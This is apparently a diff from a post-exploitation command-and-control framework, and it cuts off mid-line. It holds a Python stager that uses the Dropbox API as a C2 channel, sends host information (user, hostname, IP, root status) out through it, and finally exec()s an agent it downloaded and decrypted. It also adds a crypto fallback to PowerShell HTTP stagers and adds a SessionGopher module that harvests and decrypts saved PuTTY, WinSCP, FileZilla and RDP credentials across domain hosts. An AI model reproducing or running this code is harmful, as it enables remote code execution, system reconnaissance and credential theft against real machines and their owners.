0xedfc68b6, 0x0a67b10c, 0x036aba02, 0x187da710, 0x1170ac1e, 0x2e539d34, 0x275e963a, 0x3c498b28, 0x35448026, 0x420fe97c, 0x4b02e272, 0x5015ff60, 0x5918f46e, 0x663bc544, 0x6f36ce4a, 0x7421d358, 0x7d2cd856, 0xa10c7a37, 0xa8017139, 0xb3166c2b, 0xba1b6725, 0x8538560f, 0x8c355d01, 0x97224013, 0x9e2f4b1d, 0xe9642247, 0xe0692949, 0xfb7e345b, 0xf2733f55, 0xcd500e7f, 0xc45d0571, 0xdf4a1863, 0xd647136d, 0x31dccad7, 0x38d1c1d9, 0x23c6dccb, 0x2acbd7c5, 0x15e8e6ef, 0x1ce5ede1, 0x07f2f0f3, 0x0efffbfd, 0x79b492a7, 0x70b999a9, 0x6bae84bb, 0x62a38fb5, 0x5d80be9f, 0x548db591, 0x4f9aa883, 0x4697a38d] + + def __init__(self, key): + + if len(key) not in (16, 24, 32): + raise ValueError('Invalid key size') + + rounds = self.number_of_rounds[len(key)] + + # Encryption round keys + self._Ke = [[0] * 4 for i in xrange(rounds + 1)] + + # Decryption round keys + self._Kd = [[0] * 4 for i in xrange(rounds + 1)] + + round_key_count = (rounds + 1) * 4 + KC = len(key) // 4 + + # Convert the key into ints + tk = [struct.unpack('>i', key[i:i + 4])[0] for i in xrange(0, len(key), 4)] + + # Copy values into round key arrays + for i in xrange(0, KC): + self._Ke[i // 4][i % 4] = tk[i] + self._Kd[rounds - (i // 4)][i % 4] = tk[i] + + # Key expansion (fips-197 section 5.2) + rconpointer = 0 + t = KC + while t < round_key_count: + + tt = tk[KC - 1] + tk[0] ^= ((self.S[(tt >> 16) & 0xFF] << 24) ^ + (self.S[(tt >> 8) & 0xFF] << 16) ^ + (self.S[ tt & 0xFF] << 8) ^ + self.S[(tt >> 24) & 0xFF] ^ + (self.rcon[rconpointer] << 24)) + rconpointer += 1 + + if KC != 8: + for i in xrange(1, KC): + tk[i] ^= tk[i - 1] + + # Key expansion for 256-bit keys is "slightly different" (fips-197) + else: + for i in xrange(1, KC // 2): + tk[i] ^= tk[i - 1] + tt = tk[KC // 2 - 1] + + tk[KC // 2] ^= (self.S[ tt & 0xFF] ^ + (self.S[(tt >> 8) & 0xFF] << 8) ^ + (self.S[(tt >> 16) & 0xFF] << 16) ^ + (self.S[(tt >> 24) & 0xFF] << 24)) + + for i in xrange(KC // 2 + 1, KC): + tk[i] ^= tk[i - 1] + + # Copy values into round key arrays + j = 0 + while j < KC and t < round_key_count: + self._Ke[t // 4][t % 4] = tk[j] + self._Kd[rounds - (t // 4)][t % 4] = tk[j] + j += 1 + t += 1 + + # Inverse-Cipher-ify the decryption round key (fips-197 section 5.3) + for r in xrange(1, rounds): + for j in xrange(0, 4): + tt = self._Kd[r][j] + self._Kd[r][j] = (self.U1[(tt >> 24) & 0xFF] ^ + self.U2[(tt >> 16) & 0xFF] ^ + self.U3[(tt >> 8) & 0xFF] ^ + self.U4[ tt & 0xFF]) + + def encrypt(self, plaintext): + 'Encrypt a block of plain text using the AES block cipher.' + + if len(plaintext) != 16: + raise ValueError('wrong block length') + + rounds = len(self._Ke) - 1 + (s1, s2, s3) = [1, 2, 3] + a = [0, 0, 0, 0] + + # Convert plaintext to (ints ^ key) + t = [(_compact_word(plaintext[4 * i:4 * i + 4]) ^ self._Ke[0][i]) for i in xrange(0, 4)] + + # Apply round transforms + for r in xrange(1, rounds): + for i in xrange(0, 4): + a[i] = (self.T1[(t[ i ] >> 24) & 0xFF] ^ + self.T2[(t[(i + s1) % 4] >> 16) & 0xFF] ^ + self.T3[(t[(i + s2) % 4] >> 8) & 0xFF] ^ + self.T4[ t[(i + s3) % 4] & 0xFF] ^ + self._Ke[r][i]) + t = copy.copy(a) + + # The last round is special + result = [] + for i in xrange(0, 4): + tt = self._Ke[rounds][i] + result.append((self.S[(t[ i ] >> 24) & 0xFF] ^ (tt >> 24)) & 0xFF) + result.append((self.S[(t[(i + s1) % 4] >> 16) & 0xFF] ^ (tt >> 16)) & 0xFF) + result.append((self.S[(t[(i + s2) % 4] >> 8) & 0xFF] ^ (tt >> 8)) & 0xFF) + result.append((self.S[ t[(i + s3) % 4] & 0xFF] ^ tt ) & 0xFF) + + return result + + def decrypt(self, ciphertext): + 'Decrypt a block of cipher text using the AES block cipher.' + + if len(ciphertext) != 16: + raise ValueError('wrong block length') + + rounds = len(self._Kd) - 1 + (s1, s2, s3) = [3, 2, 1] + a = [0, 0, 0, 0] + + # Convert ciphertext to (ints ^ key) + t = [(_compact_word(ciphertext[4 * i:4 * i + 4]) ^ self._Kd[0][i]) for i in xrange(0, 4)] + + # Apply round transforms + for r in xrange(1, rounds): + for i in xrange(0, 4): + a[i] = (self.T5[(t[ i ] >> 24) & 0xFF] ^ + self.T6[(t[(i + s1) % 4] >> 16) & 0xFF] ^ + self.T7[(t[(i + s2) % 4] >> 8) & 0xFF] ^ + self.T8[ t[(i + s3) % 4] & 0xFF] ^ + self._Kd[r][i]) + t = copy.copy(a) + + # The last round is special + result = [] + for i in xrange(0, 4): + tt = self._Kd[rounds][i] + result.append((self.Si[(t[ i ] >> 24) & 0xFF] ^ (tt >> 24)) & 0xFF) + result.append((self.Si[(t[(i + s1) % 4] >> 16) & 0xFF] ^ (tt >> 16)) & 0xFF) + result.append((self.Si[(t[(i + s2) % 4] >> 8) & 0xFF] ^ (tt >> 8)) & 0xFF) + result.append((self.Si[ t[(i + s3) % 4] & 0xFF] ^ tt ) & 0xFF) + + return result + + +def decrypt(self, ciphertext): + + if len(ciphertext) != 16: + raise ValueError('wrong block length') + + rounds = len(self._Kd) - 1 + (s1, s2, s3) = [3, 2, 1] + a = [0, 0, 0, 0] + + # Convert ciphertext to (ints ^ key) + t = [(_compact_word(ciphertext[4 * i:4 * i + 4]) ^ self._Kd[0][i]) for i in xrange(0, 4)] + + # Apply round transforms + for r in xrange(1, rounds): + for i in xrange(0, 4): + a[i] = (self.T5[(t[ i ] >> 24) & 0xFF] ^ + self.T6[(t[(i + s1) % 4] >> 16) & 0xFF] ^ + self.T7[(t[(i + s2) % 4] >> 8) & 0xFF] ^ + self.T8[ t[(i + s3) % 4] & 0xFF] ^ + self._Kd[r][i]) + t = copy.copy(a) + + # The last round is special + result = [ ] + for i in xrange(0, 4): + tt = self._Kd[rounds][i] + result.append((self.Si[(t[ i ] >> 24) & 0xFF] ^ (tt >> 24)) & 0xFF) + result.append((self.Si[(t[(i + s1) % 4] >> 16) & 0xFF] ^ (tt >> 16)) & 0xFF) + result.append((self.Si[(t[(i + s2) % 4] >> 8) & 0xFF] ^ (tt >> 8)) & 0xFF) + result.append((self.Si[ t[(i + s3) % 4] & 0xFF] ^ tt ) & 0xFF) + + return result + +class AESBlockModeOfOperation(object): + '''Super-class for AES modes of operation that require blocks.''' + def __init__(self, key): + self._aes = AES(key) + + def decrypt(self, ciphertext): + raise Exception('not implemented') + + def encrypt(self, plaintext): + raise Exception('not implemented') + + +class AESModeOfOperationCBC(AESBlockModeOfOperation): + + name = "Cipher-Block Chaining (CBC)" + + def __init__(self, key, iv=None): + if iv is None: + self._last_cipherblock = [0] * 16 + elif len(iv) != 16: + raise ValueError('initialization vector must be 16 bytes') + else: + self._last_cipherblock = _string_to_bytes(iv) + + AESBlockModeOfOperation.__init__(self, key) + + def encrypt(self, plaintext): + if len(plaintext) != 16: + raise ValueError('plaintext block must be 16 bytes') + + plaintext = _string_to_bytes(plaintext) + precipherblock = [(p ^ l) for (p, l) in zip(plaintext, self._last_cipherblock)] + self._last_cipherblock = self._aes.encrypt(precipherblock) + + return _bytes_to_string(self._last_cipherblock) + + def decrypt(self, ciphertext): + if len(ciphertext) != 16: + raise ValueError('ciphertext block must be 16 bytes') + + cipherblock = _string_to_bytes(ciphertext) + plaintext = [(p ^ l) for (p, l) in zip(self._aes.decrypt(cipherblock), self._last_cipherblock)] + self._last_cipherblock = cipherblock + + return _bytes_to_string(plaintext) + + +def CBCenc(aesObj, plaintext, base64=False): + + # break the blocks in 16 byte chunks, padding the last chunk if necessary + blocks = [plaintext[0+i:16+i] for i in range(0, len(plaintext), 16)] + blocks[-1] = append_PKCS7_padding(blocks[-1]) + + ciphertext = "" + for block in blocks: + ciphertext += aesObj.encrypt(block) + + return ciphertext + + +def CBCdec(aesObj, ciphertext, base64=False): + + # break the blocks in 16 byte chunks, padding the last chunk if necessary + blocks = [ciphertext[0+i:16+i] for i in range(0, len(ciphertext), 16)] + + plaintext = "" + + for x in xrange(0, len(blocks)-1): + plaintext += aesObj.decrypt(blocks[x]) + + plaintext += strip_PKCS7_padding(aesObj.decrypt(blocks[-1])) + + return plaintext + + +def getIV(len=16): + return ''.join(chr(random.randint(0, 255)) for _ in range(len)) + + +def aes_encrypt(key, data): + """ + Generate a random IV and new AES cipher object with the given + key, and return IV + encryptedData. + """ + IV = getIV() + aes = AESModeOfOperationCBC(key, iv=IV) + return IV + CBCenc(aes, data) + + +def aes_encrypt_then_hmac(key, data): + """ + Encrypt the data then calculate HMAC over the ciphertext. + """ + data = aes_encrypt(key, data) + mac = hmac.new(str(key), data, hashlib.sha256).digest() + return data + mac[0:10] + + +def aes_decrypt(key, data): + """ + Generate an AES cipher object, pull out the IV from the data + and return the unencrypted data. + """ + IV = data[0:16] + aes = AESModeOfOperationCBC(key, iv=IV) + return CBCdec(aes, data[16:]) + + +def verify_hmac(key, data): + """ + Verify the HMAC supplied in the data with the given key. + """ + if len(data) > 20: + mac = data[-10:] + data = data[:-10] + expected = hmac.new(key, data, hashlib.sha256).digest()[0:10] + # Double HMAC to prevent timing attacks. hmac.compare_digest() is + # preferable, but only available since Python 2.7.7. + return hmac.new(str(key), expected).digest() == hmac.new(str(key), mac).digest() + else: + return False + + +def aes_decrypt_and_verify(key, data): + """ + Decrypt the data, but only if it has a valid MAC. + """ + if len(data) > 32 and verify_hmac(key, data): + return aes_decrypt(key, data[:-10]) + raise Exception("Invalid ciphertext received.") + + +def rc4(key, data): + """ + Decrypt/encrypt the passed data using RC4 and the given key. + """ + S,j,out=range(256),0,[] + for i in range(256): + j=(j+S[i]+ord(key[i%len(key)]))%256 + S[i],S[j]=S[j],S[i] + i=j=0 + for char in data: + i=(i+1)%256 + j=(j+S[i])%256 + S[i],S[j]=S[j],S[i] + out.append(chr(ord(char)^S[(S[i]+S[j])%256])) + return ''.join(out) + + +def parse_routing_packet(stagingKey, data): + """ + Decodes the rc4 "routing packet" and parses raw agent data into: + + {sessionID : (language, meta, additional, [encData]), ...} + + Routing packet format: + + +---------+-------------------+--------------------------+ + | RC4 IV | RC4s(RoutingData) | AESc(client packet data) | ... + +---------+-------------------+--------------------------+ + | 4 | 16 | RC4 length | + +---------+-------------------+--------------------------+ + + RC4s(RoutingData): + +-----------+------+------+-------+--------+ + | SessionID | Lang | Meta | Extra | Length | + +-----------+------+------+-------+--------+ + | 8 | 1 | 1 | 2 | 4 | + +-----------+------+------+-------+--------+ + + """ + + if data: + results = {} + offset = 0 + + # ensure we have at least the 20 bytes for a routing packet + if len(data) >= 20: + + while True: + + if len(data) - offset < 20: + break + + RC4IV = data[0+offset:4+offset] + RC4data = data[4+offset:20+offset] + routingPacket = rc4(RC4IV+stagingKey, RC4data) + sessionID = routingPacket[0:8] + + # B == 1 byte unsigned char, H == 2 byte unsigned short, L == 4 byte unsigned long + (language, meta, additional, length) = struct.unpack("=BBHL", routingPacket[8:]) + + if length < 0: + encData = None + else: + encData = data[(20+offset):(20+offset+length)] + + results[sessionID] = (LANGUAGE_IDS.get(language, 'NONE'), META_IDS.get(meta, 'NONE'), ADDITIONAL_IDS.get(additional, 'NONE'), encData) + + # check if we're at the end of the packet processing + remainingData = data[20+offset+length:] + if not remainingData or remainingData == '': + break + + offset += 20 + length + + return results + + else: + print "[*] parse_agent_data() data length incorrect: %s" % (len(data)) + return None + + else: + print "[*] parse_agent_data() data is None" + return None + + +def build_routing_packet(stagingKey, sessionID, meta=0, additional=0, encData=''): + """ + Takes the specified parameters for an RC4 "routing packet" and builds/returns + an HMAC'ed RC4 "routing packet". + + packet format: + + Routing Packet: + +---------+-------------------+--------------------------+ + | RC4 IV | RC4s(RoutingData) | AESc(client packet data) | ... + +---------+-------------------+--------------------------+ + | 4 | 16 | RC4 length | + +---------+-------------------+--------------------------+ + + RC4s(RoutingData): + +-----------+------+------+-------+--------+ + | SessionID | Lang | Meta | Extra | Length | + +-----------+------+------+-------+--------+ + | 8 | 1 | 1 | 2 | 4 | + +-----------+------+------+-------+--------+ + + """ + + # binary pack all of the passed config values as unsigned numbers + # B == 1 byte unsigned char, H == 2 byte unsigned short, L == 4 byte unsigned long + data = sessionID + struct.pack("=BBHL", 2, meta, additional, len(encData)) + + RC4IV = os.urandom(4) + key = RC4IV + stagingKey + rc4EncData = rc4(key, data) + packet = RC4IV + rc4EncData + encData + return packet + + +def post_message(uri, data): + global headers + req = urllib2.Request(uri) + for key, value in headers.iteritems(): + req.add_header("%s"%(key),"%s"%(value)) + + if data: + req.add_data(data) + + o=urllib2.build_opener() + o.add_handler(urllib2.ProxyHandler(urllib2.getproxies())) + urllib2.install_opener(o) + + return (urllib2.urlopen(req).read()) + + +def get_sysinfo(nonce='00000000'): + + # nonce | listener | domainname | username | hostname | internal_ip | os_details | os_details | high_integrity | process_name | process_id | language | language_version + __FAILED_FUNCTION = '[FAILED QUERY]' + + try: + username = pwd.getpwuid(os.getuid())[0] + except Exception as e: + username = __FAILED_FUNCTION + try: + uid = os.popen('id -u').read().strip() + except Exception as e: + uid = __FAILED_FUNCTION + try: + highIntegrity = "True" if (uid == "0") else False + except Exception as e: + highIntegrity = __FAILED_FUNCTION + try: + osDetails = os.uname() + except Exception as e: + osDetails = __FAILED_FUNCTION + try: + hostname = osDetails[1] + except Exception as e: + hostname = __FAILED_FUNCTION + try: + internalIP = socket.gethostbyname(socket.gethostname()) + except Exception as e: + internalIP = __FAILED_FUNCTION + + try: + osDetails = ",".join(osDetails) + except Exception as e: + osDetails = __FAILED_FUNCTION + try: + processID = os.getpid() + except Exception as e: + processID = __FAILED_FUNCTION + try: + temp = sys.version_info + pyVersion = "%s.%s" % (temp[0],temp[1]) + except Exception as e: + pyVersion = __FAILED_FUNCTION + + language = 'python' + cmd = 'ps %s' % (os.getpid()) + ps = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE) + out = ps.stdout.read() + parts = out.split("\n") + ps.stdout.close() + if len(parts) > 2: + processName = " ".join(parts[1].split()[4:]) + else: + processName = 'python' + + return "%s|%s|%s|%s|%s|%s|%s|%s|%s|%s|%s|%s" % (nonce, '', '', username, hostname, internalIP, osDetails, highIntegrity, processName, processID, language, pyVersion) + +# generate a randomized sessionID +sessionID = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in xrange(8)) + +# server configuration information +stagingFolder = "REPLACE_STAGING_FOLDER" +stagingKey = "REPLACE_STAGING_KEY" +profile = 'REPLACE_PROFILE' +pollInterval = int('REPLACE_POLLING_INTERVAL') +t = 'REPLACE_API_TOKEN' + +parts = profile.split('|') +taskURIs = parts[0].split(',') +userAgent = parts[1] +headersRaw = parts[2:] + +# global header dictionary +# sessionID is set by stager.py +# headers = {'User-Agent': userAgent, "Cookie": "SESSIONID=%s" % (sessionID)} +headers = {'User-Agent': userAgent} + +# parse the headers into the global header dictionary +for headerRaw in headersRaw: + try: + headerKey = headerRaw.split(":")[0] + headerValue = headerRaw.split(":")[1] + if headerKey.lower() == "cookie": + headers['Cookie'] = "%s;%s" % (headers['Cookie'], headerValue) + else: + headers[headerKey] = headerValue + except: + pass + +headers['Authorization'] = "Bearer %s" % (t) +headers['Content-Type'] = "application/octet-stream" +headers['Dropbox-API-Arg'] = "{\"path\":\"%s/%s_1.txt\"}" % (stagingFolder, sessionID) + +# stage 3 of negotiation -> client generates DH key, and POSTs HMAC(AESn(PUBc)) back to server +clientPub = DiffieHellman() +hmacData = aes_encrypt_then_hmac(stagingKey, str(clientPub.publicKey)) + +# RC4 routing packet: +# meta = STAGE1 (2) +routingPacket = build_routing_packet(stagingKey=stagingKey, sessionID=sessionID, meta=2, encData=hmacData) + +try: + # response = post_message(postURI, routingPacket+hmacData) + response = post_message("https://content.dropboxapi.com/2/files/upload", routingPacket) +except: + exit() + +#(urllib2.urlopen(urllib2.Request(uri, data, headers))).read() +time.sleep(pollInterval * 2) +try: + del headers['Content-Type'] + headers['Dropbox-API-Arg'] = "{\"path\":\"%s/%s_2.txt\"}" % (stagingFolder, sessionID) + raw = post_message("https://content.dropboxapi.com/2/files/download", data=None) +except: + exit() +# decrypt the server's public key and the server nonce +packet = aes_decrypt_and_verify(stagingKey, raw) +nonce = packet[0:16] +serverPub = int(packet[16:]) + +# calculate the shared secret +clientPub.genKey(serverPub) +key = clientPub.key + +# step 5 -> client POSTs HMAC(AESs([nonce+1]|sysinfo) +hmacData = aes_encrypt_then_hmac(clientPub.key, get_sysinfo(nonce=str(int(nonce)+1))) + +# RC4 routing packet: +# sessionID = sessionID +# language = PYTHON (2) +# meta = STAGE2 (3) +# extra = 0 +# length = len(length) +routingPacket = build_routing_packet(stagingKey=stagingKey, sessionID=sessionID, meta=3, encData=hmacData) +headers['Dropbox-API-Arg'] = "{\"path\":\"%s/%s_3.txt\"}" % (stagingFolder, sessionID) +headers['Content-Type'] = "application/octet-stream" +time.sleep(pollInterval * 2) +response = post_message("https://content.dropboxapi.com/2/files/upload", routingPacket) + +time.sleep(pollInterval * 2) +headers['Dropbox-API-Arg'] = "{\"path\":\"%s/%s_4.txt\"}" % (stagingFolder, sessionID) +del headers['Content-Type'] +raw = post_message("https://content.dropboxapi.com/2/files/download", data=None) + +time.sleep(pollInterval) +del headers['Dropbox-API-Arg'] +headers['Content-Type'] = "application/json" +datastring = "{\"path\":\"%s/%s_4.txt\"}" % (stagingFolder, sessionID) +response = post_message("https://api.dropboxapi.com/2/files/delete",data=datastring) + +# step 6 -> server sends HMAC(AES) +agent = aes_decrypt_and_verify(key, raw) +exec(agent) \ No newline at end of file diff --git a/data/agent/stagers/http.ps1 b/data/agent/stagers/http.ps1 index 11d0941..00172e3 100644 --- a/data/agent/stagers/http.ps1 +++ b/data/agent/stagers/http.ps1 @@ -38,7 +38,12 @@ function Start-Negotiate { # extract the IV $IV = $In[0..15]; - $AES = New-Object System.Security.Cryptography.AesCryptoServiceProvider; + try { + $AES=New-Object System.Security.Cryptography.AesCryptoServiceProvider; + } + catch { + $AES=New-Object System.Security.Cryptography.RijndaelManaged; + } $AES.Mode = "CBC"; $AES.Key = $e.GetBytes($Key); $AES.IV = $IV; @@ -57,7 +62,13 @@ function Start-Negotiate { $SKB=$e.GetBytes($SK); # set up the AES/HMAC crypto # $SK -> staging key for this server - $AES=New-Object System.Security.Cryptography.AesCryptoServiceProvider; + try { + $AES=New-Object System.Security.Cryptography.AesCryptoServiceProvider; + } + catch { + $AES=New-Object System.Security.Cryptography.RijndaelManaged; + } + $IV = [byte] 0..255 | Get-Random -count 16; $AES.Mode="CBC"; $AES.Key=$SKB; @@ -126,7 +137,12 @@ function Start-Negotiate { $nonce=[String]([long]$nonce + 1); # create a new AES object - $AES=New-Object System.Security.Cryptography.AesCryptoServiceProvider; + try { + $AES=New-Object System.Security.Cryptography.AesCryptoServiceProvider; + } + catch { + $AES=New-Object System.Security.Cryptography.RijndaelManaged; + } $IV = [byte] 0..255 | Get-Random -Count 16; $AES.Mode="CBC"; $AES.Key=$e.GetBytes($key); diff --git a/data/agent/stagers/http_com.ps1 b/data/agent/stagers/http_com.ps1 index 29b0136..c4eccc0 100644 --- a/data/agent/stagers/http_com.ps1 +++ b/data/agent/stagers/http_com.ps1 @@ -38,7 +38,12 @@ function Start-Negotiate { # extract the IV $IV = $In[0..15]; - $AES = New-Object System.Security.Cryptography.AesCryptoServiceProvider; + try { + $AES=New-Object System.Security.Cryptography.AesCryptoServiceProvider; + } + catch { + $AES=New-Object System.Security.Cryptography.RijndaelManaged; + } $AES.Mode = "CBC"; $AES.Key = $e.GetBytes($Key); $AES.IV = $IV; @@ -57,7 +62,12 @@ function Start-Negotiate { $SKB=$e.GetBytes($SK); # set up the AES/HMAC crypto # $SK -> staging key for this server - $AES=New-Object System.Security.Cryptography.AesCryptoServiceProvider; + try { + $AES=New-Object System.Security.Cryptography.AesCryptoServiceProvider; + } + catch { + $AES=New-Object System.Security.Cryptography.RijndaelManaged; + } $IV = [byte] 0..255 | Get-Random -count 16; $AES.Mode="CBC"; $AES.Key=$SKB; @@ -123,7 +133,12 @@ function Start-Negotiate { $nonce=[String]([long]$nonce + 1); # create a new AES object - $AES=New-Object System.Security.Cryptography.AesCryptoServiceProvider; + try { + $AES=New-Object System.Security.Cryptography.AesCryptoServiceProvider; + } + catch { + $AES=New-Object System.Security.Cryptography.RijndaelManaged; + } $IV = [byte] 0..255 | Get-Random -Count 16; $AES.Mode="CBC"; $AES.Key=$e.GetBytes($key); diff --git a/data/module_source/credentials/Invoke-SessionGopher.ps1 b/data/module_source/credentials/Invoke-SessionGopher.ps1 new file mode 100644 index 0000000..1eb1ae8 --- /dev/null +++ b/data/module_source/credentials/Invoke-SessionGopher.ps1 @@ -0,0 +1,939 @@ +<# + .SYNPOSIS + Extracts and decrypts saved session information for software typically used to access Unix systems. + + .DESCRIPTION + Queries HKEY_USERS for PuTTY, WinSCP, and Remote Desktop saved sessions. Decrypts saved passwords for WinSCP. + Extracts FileZilla, SuperPuTTY's saved session information in the sitemanager.xml file and decodes saved passwords. + In Thorough mode, identifies PuTTY private key (.ppk), Remote Desktop Connection (.rdp), and RSA token (.sdtid) files, and extracts private key and session information. + Can be run remotely using the -iL (supply input list of computers) or -AllDomain (run against all AD-joined computers) flags. + Must either provide credentials (-u and -p for username and password) of an admin on target boxes, or run script in the context of + a privileged user on the target boxes, in which case no credentials are needed. + + .Notes + Author: Brandon Arvanaghi + Thanks: + Brice Daniels, Pan Chan - collaborating on idea + Christopher Truncer - helping with WMI + + .PARAMETER o + Generates CSV output. + + .PARAMETER Thorough + Searches entire filesystem for certain file extensions. + + .PARAMETER u + Domain\username (e.g. superduper.com\a-jerry). + + .PARAMETER p + Password for domain user (if username provided). + + .PARAMETER iL + If you want to supply a list of hosts to run SessionGopher against, provide the path to that file here. Each host should be separated by a newline in the file. + + .PARAMETER Target + If you only want to run SessionGopher against once specific host. + + .PARAMETER AllDomain + Queries Active Direcotry for a list of all domain-joined computers and runs SessionGopher against all of them. +#> +function Invoke-SessionGopher { + param ( + [switch]$o, # Generate CSV output + [switch]$Thorough, # Searches entire filesystem for certain file extensions + [string]$u, # Domain\username (e.g. superduper.com\a-jerry) + [string]$p, # Password of domain account + [string]$iL, # A file of hosts to run SessionGopher against remotely, each host separated by a newline in the file + [string]$Target, # If you want to run SessionGopher against one specific host + [switch]$AllDomain # Run across all active directory + ) + + Write-Output ' + o_ + / ". SessionGopher - RDP, WinSCP, FileZilla, PuTTY, SuperPuTTY, + ," _-" .sdtid, .rdp, .ppk saved session & password extractor + ," m m + ..+ ) Brandon Arvanaghi + `m..m Twitter: @arvanaghi | arvanaghi.com + ' + + if ($o) { + $OutputDirectory = "SessionGopher (" + (Get-Date -Format "HH.mm.ss") + ")" + New-Item -ItemType Directory $OutputDirectory | Out-Null + New-Item ($OutputDirectory + "\PuTTY.csv") -Type File | Out-Null + New-Item ($OutputDirectory + "\SuperPuTTY.csv") -Type File | Out-Null + New-Item ($OutputDirectory + "\WinSCP.csv") -Type File | Out-Null + New-Item ($OutputDirectory + "\FileZilla.csv") -Type File | Out-Null + New-Item ($OutputDirectory + "\RDP.csv") -Type File | Out-Null + if ($Thorough) { + New-Item ($OutputDirectory + "\PuTTY ppk Files.csv") -Type File | Out-Null + New-Item ($OutputDirectory + "\Microsoft rdp Files.csv") -Type File | Out-Null + New-Item ($OutputDirectory + "\RSA sdtid Files.csv") -Type File | Out-Null + } + } + + if ($u -and $p) { + $Password = ConvertTo-SecureString $p -AsPlainText -Force + $Credentials = New-Object -Typename System.Management.Automation.PSCredential -ArgumentList $u, $Password + } + + # Value for HKEY_USERS hive + $HKU = 2147483651 + # Value for HKEY_LOCAL_MACHINE hive + $HKLM = 2147483650 + + $PuTTYPathEnding = "\SOFTWARE\SimonTatham\PuTTY\Sessions" + $WinSCPPathEnding = "\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions" + $RDPPathEnding = "\SOFTWARE\Microsoft\Terminal Server Client\Servers" + + if ($iL -or $AllDomain -or $Target) { + + # Whether we read from an input file or query active directory + $Reader = "" + + if ($AllDomain) { + $Reader = GetComputersFromActiveDirectory + } elseif ($iL) { + $Reader = Get-Content ((Resolve-Path $iL).Path) + } elseif ($Target) { + $Reader = $Target + } + + $optionalCreds = @{} + if ($Credentials) { + $optionalCreds['Credential'] = $Credentials + } + + foreach ($RemoteComputer in $Reader) { + + if ($AllDomain) { + # Extract just the name from the System.DirectoryServices.SearchResult object + $RemoteComputer = $RemoteComputer.Properties.name + if (!$RemoteComputer) { Continue } + } + + Write-Output "[+] Digging on $RemoteComputer..." + + $SIDS = Invoke-WmiMethod -Class 'StdRegProv' -Name 'EnumKey' -ArgumentList $HKU,'' -ComputerName $RemoteComputer @optionalCreds | Select-Object -ExpandProperty sNames | Where-Object {$_ -match 'S-1-5-21-[\d\-]+$'} + + foreach ($SID in $SIDs) { + + # Get the username for SID we discovered has saved sessions + $MappedUserName = try { (Split-Path -Leaf (Split-Path -Leaf (GetMappedSID))) } catch {} + $Source = (($RemoteComputer + "\" + $MappedUserName) -Join "") + + # Created for each user found. Contains all sessions information for that user. + $UserObject = New-Object PSObject + + <# + PuTTY: contains hostname and usernames + SuperPuTTY: contains username, hostname, relevant protocol information, decrypted passwords if stored + RDP: contains hostname and username of sessions + FileZilla: hostname, username, relevant protocol information, decoded passwords if stored + WinSCP: contains hostname, username, protocol, deobfuscated password if stored and no master password used + #> + $ArrayOfPuTTYSessions = New-Object System.Collections.ArrayList + $ArrayOfSuperPuTTYSessions = New-Object System.Collections.ArrayList + $ArrayOfRDPSessions = New-Object System.Collections.ArrayList + $ArrayOfFileZillaSessions = New-Object System.Collections.ArrayList + $ArrayOfWinSCPSessions = New-Object System.Collections.ArrayList + + # Construct tool registry/filesystem paths from SID or username + $RDPPath = $SID + $RDPPathEnding + $PuTTYPath = $SID + $PuTTYPathEnding + $WinSCPPath = $SID + $WinSCPPathEnding + $SuperPuTTYFilter = "Drive='C:' AND Path='\\Users\\$MappedUserName\\Documents\\SuperPuTTY\\' AND FileName='Sessions' AND Extension='XML'" + $FileZillaFilter = "Drive='C:' AND Path='\\Users\\$MappedUserName\\AppData\\Roaming\\FileZilla\\' AND FileName='sitemanager' AND Extension='XML'" + + $RDPSessions = Invoke-WmiMethod -ComputerName $RemoteComputer -Class 'StdRegProv' -Name EnumKey -ArgumentList $HKU,$RDPPath @optionalCreds + $PuTTYSessions = Invoke-WmiMethod -ComputerName $RemoteComputer -Class 'StdRegProv' -Name EnumKey -ArgumentList $HKU,$PuTTYPath @optionalCreds + $WinSCPSessions = Invoke-WmiMethod -ComputerName $RemoteComputer -Class 'StdRegProv' -Name EnumKey -ArgumentList $HKU,$WinSCPPath @optionalCreds + $SuperPuTTYPath = (Get-WmiObject -Class 'CIM_DataFile' -Filter $SuperPuTTYFilter -ComputerName $RemoteComputer @optionalCreds | Select Name) + $FileZillaPath = (Get-WmiObject -Class 'CIM_DataFile' -Filter $FileZillaFilter -ComputerName $RemoteComputer @optionalCreds | Select Name) + + # If any WinSCP saved sessions exist on this box... + if (($WinSCPSessions | Select-Object -ExpandPropert ReturnValue) -eq 0) { + + # Get all sessions + $WinSCPSessions = $WinSCPSessions | Select-Object -ExpandProperty sNames + + foreach ($WinSCPSession in $WinSCPSessions) { + + $WinSCPSessionObject = "" | Select-Object -Property Source,Session,Hostname,Username,Password + $WinSCPSessionObject.Source = $Source + $WinSCPSessionObject.Session = $WinSCPSession + + $Location = $WinSCPPath + "\" + $WinSCPSession + + $WinSCPSessionObject.Hostname = (Invoke-WmiMethod -ComputerName $RemoteComputer -Class 'StdRegProv' -Name GetStringValue -ArgumentList $HKU,$Location,"HostName" @optionalCreds).sValue + $WinSCPSessionObject.Username = (Invoke-WmiMethod -ComputerName $RemoteComputer -Class 'StdRegProv' -Name GetStringValue -ArgumentList $HKU,$Location,"UserName" @optionalCreds).sValue + $WinSCPSessionObject.Password = (Invoke-WmiMethod -ComputerName $RemoteComputer -Class 'StdRegProv' -Name GetStringValue -ArgumentList $HKU,$Location,"Password" @optionalCreds).sValue + + if ($WinSCPSessionObject.Password) { + + $MasterPassPath = $SID + "\Software\Martin Prikryl\WinSCP 2\Configuration\Security" + + $MasterPassUsed = (Invoke-WmiMethod -ComputerName $RemoteComputer -Class 'StdRegProv' -Name GetDWordValue -ArgumentList $HKU,$MasterPassPath,"UseMasterPassword" @optionalCreds).uValue + + if (!$MasterPassUsed) { + $WinSCPSessionObject.Password = (DecryptWinSCPPassword $WinSCPSessionObject.Hostname $WinSCPSessionObject.Username $WinSCPSessionObject.Password) + } else { + $WinSCPSessionObject.Password = "Saved in session, but master password prevents plaintext recovery" + } + + } + + [void]$ArrayOfWinSCPSessions.Add($WinSCPSessionObject) + + } # For Each WinSCP Session + + if ($ArrayOfWinSCPSessions.count -gt 0) { + + $UserObject | Add-Member -MemberType NoteProperty -Name "WinSCP Sessions" -Value $ArrayOfWinSCPSessions + + if ($o) { + $ArrayOfWinSCPSessions | Select-Object * | Export-CSV -Append -Path ($OutputDirectory + "\WinSCP.csv") -NoTypeInformation + } else { + Write-Output "WinSCP Sessions" + $ArrayOfWinSCPSessions | Select-Object * | Format-List | Out-String + } + + } + + } # If path to WinSCP exists + + if (($PuTTYSessions | Select-Object -ExpandPropert ReturnValue) -eq 